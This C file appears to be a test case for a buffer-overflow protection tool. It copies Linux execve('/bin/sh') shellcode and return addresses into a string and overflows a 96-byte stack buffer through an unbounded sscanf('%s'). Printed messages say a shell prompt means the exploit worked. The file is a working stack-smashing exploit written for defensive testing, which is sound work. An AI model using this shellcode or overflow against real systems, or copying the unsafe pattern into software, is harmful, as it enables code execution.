/*
 * $Name: release2_0-16 $
 * $Id: t6.c,v 1.2 2002/06/12 20:30:37 ttsai Exp $
 */


#include <stdio.h>
#include <string.h>

/*
    jmp    1f
    0:pop  %esi
    mov    %esi,0x8(%esi)
    xor    %eax,%eax
    mov    %al,0x7(%esi)
    mov    %esi,%edi
    add    $4,%edi
    mov    %eax,0x8(%edi)
    add    $7,%eax
    add    $4,%eax
    mov    %esi,%ebx
    lea    0x8(%esi),%ecx
    lea    0x8(%edi),%edx
    int    $0x80
    xor    %ebx,%ebx
    mov    %ebx,%eax
    inc    %eax
    int    $0x80
    1:call 0b");
 */
char shellcode[] =
"\xeb\x28\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\xf7\x83\xc7\x04"
"\x89\x47\x08\x83\xc0\x07\x83\xc0\x04\x89\xf3\x8d\x4e\x08\x8d\x57"
"\x08\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd3\xff\xff\xff/bin/sh";

char large_string[128];

void foo()
{
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;


    printf("This program tries to use scanf() to overflow the buffer.\n");
    printf("If you get a /bin/sh prompt, then the exploit has worked.\n");
    printf("Press any key to continue...");
    getchar();

    for (i = 0; i < 32; i++)
	*(long_ptr + i) = (int) buffer;
    for (i = 0; i < (int) strlen(shellcode); i++)
	large_string[i] = shellcode[i];

    sscanf(large_string, "%s", buffer);

    return;
}

int main(int ac, char *av[])
{
    foo();

    printf("If you see this statement, it means that the buffer\n");
    printf("overflow never occurred.\n");

    return 0;
}
